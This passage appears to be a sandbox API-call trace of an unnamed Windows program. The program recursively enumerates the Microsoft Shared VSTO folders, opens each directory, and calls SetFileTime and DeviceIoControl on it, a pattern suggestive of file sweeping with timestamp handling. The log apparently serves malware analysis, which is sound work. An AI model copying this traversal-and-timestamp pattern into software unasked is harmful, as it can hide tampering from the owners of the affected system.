ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0063.005] GetLastError () returned 0x12 [0063.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0063.005] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0063.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0063.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0063.005] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0063.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0063.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0063.010] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0063.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0063.010] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0063.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0063.010] NtClose (Handle=0x16c) returned 0x0 [0063.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0063.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0063.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0063.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.010] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0063.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0063.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0063.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.011] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03f80 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05168 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.011] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03fa0 [0063.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05270 [0063.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.011] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0063.011] GetLastError () returned 0x12 [0063.011] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0063.012] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0063.012] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.012] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0063.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0063.032] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0063.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0063.032] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0063.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0063.032] NtClose (Handle=0x16c) returned 0x0 [0063.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0063.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.032] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0063.675] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.678] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0063.679] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0063.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05378 [0063.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0063.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03fc0 [0063.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05480 [0063.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.699] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0063.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.712] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0063.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.727] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0063.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.738] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0063.744] GetLastError () returned 0x12 [0063.746] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0063.750] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0063.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.760] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0063.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0063.799] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0063.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0063.799] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0063.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0063.799] NtClose (Handle=0x16c) returned 0x0 [0063.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0063.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0063.800] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0063.800] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.800] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0063.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0063.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed720) returned 1 [0063.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0063.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed720) returned 1 [0063.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0063.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed720) returned 1 [0063.800] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0063.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0063.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed720) returned 1 [0063.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0063.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed720) returned 1 [0063.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0063.800] 